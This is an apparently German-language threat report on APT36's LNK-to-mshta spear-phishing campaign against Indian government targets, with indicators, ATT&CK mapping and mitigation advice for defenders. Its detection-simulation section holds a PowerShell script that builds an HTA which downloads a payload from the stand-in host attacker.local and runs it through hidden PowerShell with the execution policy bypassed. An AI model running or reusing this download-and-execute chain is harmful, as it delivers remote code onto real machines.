SOC Prime Bias: Kritisch

05 Jan. 2026 18:57

APT36: Mehrstufige LNK-Malware-Kampagne, die sich gegen indische Regierungseinrichtungen richtet

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Folgen
APT36: Mehrstufige LNK-Malware-Kampagne, die sich gegen indische Regierungseinrichtungen richtet
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

APT36 (Transparent Tribe) führte eine Spear-Phishing-Kampagne durch, die eine bösartige LNK-Verknüpfung lieferte, die sich als PDF tarnt. Beim Öffnen startet die Verknüpfung mshta.exe um einen HTA-basierten Loader auszuführen, der Payloads im Speicher entschlüsselt und ausführt, einschließlich eines Konfigurationsmoduls und einer voll ausgestatteten RAT-DLL. Die Malware wählt dynamisch Persistenzmethoden basierend auf dem installierten Antivirenprodukt des Opfers und verbindet sich mit ihrem Command-and-Control-Server über einen verschlüsselten Kanal. Die Aktivität wird als spionagefokussiert bewertet, zielt auf indische Regierungs- und Bildungseinrichtungen ab, um Daten zu stehlen.

Untersuchung

Forscher analysierten die ungewöhnlich große LNK-Datei, verfolgten den eingebetteten HTA-Inhalt gehostet auf innlive.in, und reverse-engineerten die Entschlüsselungslogik. Die Kette offenbarte zwei primäre Phasen: eine .NET-Deserialisierungs-Payload, die genutzt wird, um Sicherheitsprüfungen zu schwächen oder zu umgehen, gefolgt von einer fileless bösartigen DLL (z.B. ki2mtmkl.dll / iinneldc.dll) mit RAT-Funktionalität. Persistenzverhalten wurde auf spezifische Antivirenprodukte abgebildet und wichtige C2-Details wie TCP-Port 8621 und ein AES-Schlüssel der für verschlüsselten Verkehr verwendet wird, wurden während der Analyse extrahiert.

Minderung

Einschränken oder Quarantäne von Verknüpfungs-(.lnk) Anhängen, die per E-Mail geliefert werden, insbesondere wenn sie in ZIP-Archiven gepackt sind. Anwendungssteuerungsrichtlinien anwenden, um die Ausführung von mshta.exe, PowerShell und anderen Skript-Engines von benutzerbeschreibbaren Pfaden aus zu begrenzen. Verwenden Sie Endpunkt-Erkennungen für Prozessketten, die mshta.exe und Anzeichen von In-Memory-DLL-Ausführungen beinhalten, und strenge Egress-Kontrollen durchsetzen, um Kommunikation mit unbekannten oder nicht vertrauenswürdigen Domains zu blockieren.

Reaktion

Wenn eine verdächtige LNK-Ausführung entdeckt wird, isolieren Sie das System, erfassen Sie Speicherabbilder und suchen Sie nach In-Memory-DLL-Indikatoren, die mit der RAT-Phase verbunden sind. Blockieren Sie identifizierte bösartige Domains und damit verbundene IP-Infrastrukturen, und rotieren Sie möglicherweise exponierte Anmeldedaten. Führen Sie eine forensische Überprüfung durch, um Persistenzartefakte im Startordner und in der Registry zu finden, entfernen Sie diese und validieren Sie, dass keine zusätzlichen Zugangspunkte verbleiben.

„graph TB %% Klassendefinitionen classDef technique fill:#cfe2f3 %% Knotendefinitionen tech_T1566_001[„<b>Technik</b> – <b>T1566.001</b> Phishing: Spearphishing-Anhang<br/>Gezielte E-Mail mit bösartigem Anhang senden“] class tech_T1566_001 technique tech_T1218_005[„<b>Technik</b> – <b>T1218.005</b> Ausführung durch System-Binary-Proxy: Mshta<br/>Bösartige HTA über mshta.exe ausführen“] class tech_T1218_005 technique tech_T1059_001[„<b>Technik</b> – <b>T1059.001</b> PowerShell<br/>Führen Sie PowerShell-Befehle aus, um Payload herunterzuladen“] class tech_T1059_001 technique tech_T1059_005[„<b>Technik</b> – <b>T1059.005</b> Visual Basic<br/>HTA-Skript mit VBScript ausführen“] class tech_T1059_005 technique tech_T1027[„<b>Technik</b> – <b>T1027</b> Verschleierte Dateien oder Informationen<br/>Payload ist schichtweise codiert/verschlüsselt“] class tech_T1027 technique tech_T1055[„<b>Technik</b> – <b>T1055</b> Prozessinjektion<br/>Bösartige DLL in legitimen Prozess injizieren“] class tech_T1055 technique tech_T1547_001[„<b>Technik</b> – <b>T1547.001</b> Ausführung beim Booten oder Anmelden: Autostart-Ordner<br/>Persistenz über Verknüpfung im Autostart“] class tech_T1547_001 technique tech_T1112[„<b>Technik</b> – <b>T1112</b> Registrierung ändern<br/>Run-Schlüssel zur Persistenz hinzufügen“] class tech_T1112 technique tech_T1036[„<b>Technik</b> – <b>T1036</b> Tarnung<br/>LNK tarnt sich als PDF“] class tech_T1036 technique tech_T1518_001[„<b>Technik</b> – <b>T1518.001</b> Software-Erkennung: Erkennung von Sicherheitssoftware<br/>Installiertes AV abfragen“] class tech_T1518_001 technique tech_T1082[„<b>Technik</b> – <b>T1082</b> Erkennung von Systeminformationen<br/>OS, Benutzername usw. sammeln“] class tech_T1082 technique tech_T1057[„<b>Technik</b> – <b>T1057</b> Prozess-Erkennung<br/>Prozesse auflisten“] class tech_T1057 technique tech_T1083[„<b>Technik</b> – <b>T1083</b> Datei- und Verzeichniserkennung<br/>Nach Dokumenten suchen“] class tech_T1083 technique tech_T1115[„<b>Technik</b> – <b>T1115</b> Zwischenablage-Daten<br/>Zwischenablage erfassen“] class tech_T1115 technique tech_T1113[„<b>Technik</b> – <b>T1113</b> Bildschirmaufnahme<br/>Bildschirmfotos erfassen“] class tech_T1113 technique tech_T1041[„<b>Technik</b> – <b>T1041</b> Exfiltration über C2-Kanal<br/>Daten über C2 exfiltrieren“] class tech_T1041 technique tech_T1573[„<b>Technik</b> – <b>T1573</b> Verschlüsselter Kanal<br/>C2-Datenverkehr verschlüsselt“] class tech_T1573 technique %% Verbindungen tech_T1566_001 u002du002d>|leads_to| tech_T1218_005 tech_T1218_005 u002du002d>|leads_to| tech_T1059_001 tech_T1218_005 u002du002d>|leads_to| tech_T1059_005 tech_T1059_001 u002du002d>|leads_to| tech_T1027 tech_T1027 u002du002d>|leads_to| tech_T1055 tech_T1055 u002du002d>|leads_to| tech_T1547_001 tech_T1547_001 u002du002d>|leads_to| tech_T1112 tech_T1218_005 u002du002d>|leads_to| tech_T1036 tech_T1036 u002du002d>|leads_to| tech_T1518_001 tech_T1518_001 u002du002d>|leads_to| tech_T1082 tech_T1082 u002du002d>|leads_to| tech_T1057 tech_T1057 u002du002d>|leads_to| tech_T1083 tech_T1083 u002du002d>|leads_to| tech_T1115 tech_T1083 u002du002d>|leads_to| tech_T1113 tech_T1115 u002du002d>|leads_to| tech_T1041 tech_T1113 u002du002d>|leads_to| tech_T1041 tech_T1055 u002du002d>|leads_to| tech_T1573 „

Angriffsfluss

Simulationsausführung

Voraussetzung: Der Telemetrie- und Basislinien-Preflight-Check muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und zielen darauf ab, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffs-Narrativ & Befehle:
    Ein Angreifer hat niedrigprivilegierten PowerShell-Zugriff auf eine kompromittierte Arbeitsstation erlangt. Um eine Remote-Payload auszuführen, ohne ein ausführbares Programm auf die Festplatte zu schreiben, verwendet der Angreifer mshta.exe um eine HTA-Datei auszuführen, die eine PowerShell-Hintertür von einem C2-Server zieht. Die Schritte sind:

    1. Ein minimales bösartiges HTA kodieren, das PowerShell startet, um eine Payload herunterzuladen und auszuführen.
    2. Hosten Sie das HTA auf einem Webserver (z.B. http://attacker.local/malicious.hta).
    3. Rufen Sie von der kompromittierten PowerShell-Sitzung mshta.exe mit der Remote-URL als Argument auf.

    Diese Kette erzeugt ein Prozesserstellungs Ereignis, bei dem mshta.exe das Kind von powershell.exeist, und es passt genau zur Sigma-Regel.

  • Regressionstest-Skript:

    #-------------------------------------------------
    # Simulierter Angreifer-Skript – löst die Regel aus
    #-------------------------------------------------
    
    # 1. Definieren Sie das bösartige HTA (inline für Demonstrationszwecke)
    $htaContent = @"
    <script>
        // Laden und führen Sie eine Dummy-PowerShell-Payload aus
        var url = 'http://attacker.local/payload.ps1';
        var xhr = new ActiveXObject('Microsoft.XMLHTTP');
        xhr.open('GET', url, false);
        xhr.send();
        var ps = new ActiveXObject('WScript.Shell');
        ps.Run('powershell -NoProfile -ExecutionPolicy Bypass -Command "' + xhr.responseText + '"', 0, false);
    </script>
    "@
    
    # 2. Schreiben Sie HTA an temporären Ort (simuliert eine gehostete Datei)
    $tempPath = "$env:TEMPmalicious.hta"
    $htaContent | Set-Content -Path $tempPath -Encoding ASCII
    
    # 3. Starten Sie mshta.exe von PowerShell aus (der Erkennungs-Trigger)
    $mshta = (Get-Command mshta.exe).Source
    Write-Host "[*] Starten von mshta.exe zur Ausführung der HTA-Payload..."
    Start-Process -FilePath $mshta -ArgumentList "`"$tempPath`"" -NoNewWindow
    
    # Optional: Schlaf, um das Ereignis erfassen zu lassen
    Start-Sleep -Seconds 5
    
    # Bereinigung (wird im nächsten Abschnitt behandelt)
  • Bereinigungskommandos:

    # Entfernen Sie temporäre HTA-Datei
    Remove-Item -Path "$env:TEMPmalicious.hta" -Force -ErrorAction SilentlyContinue
    
    # Stoppen von eventuell noch laufenden mshta.exe-Prozessen (unwahrscheinlich nach normaler Ausführung)
    Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force
    
    Write-Host "[*] Bereinigung abgeschlossen."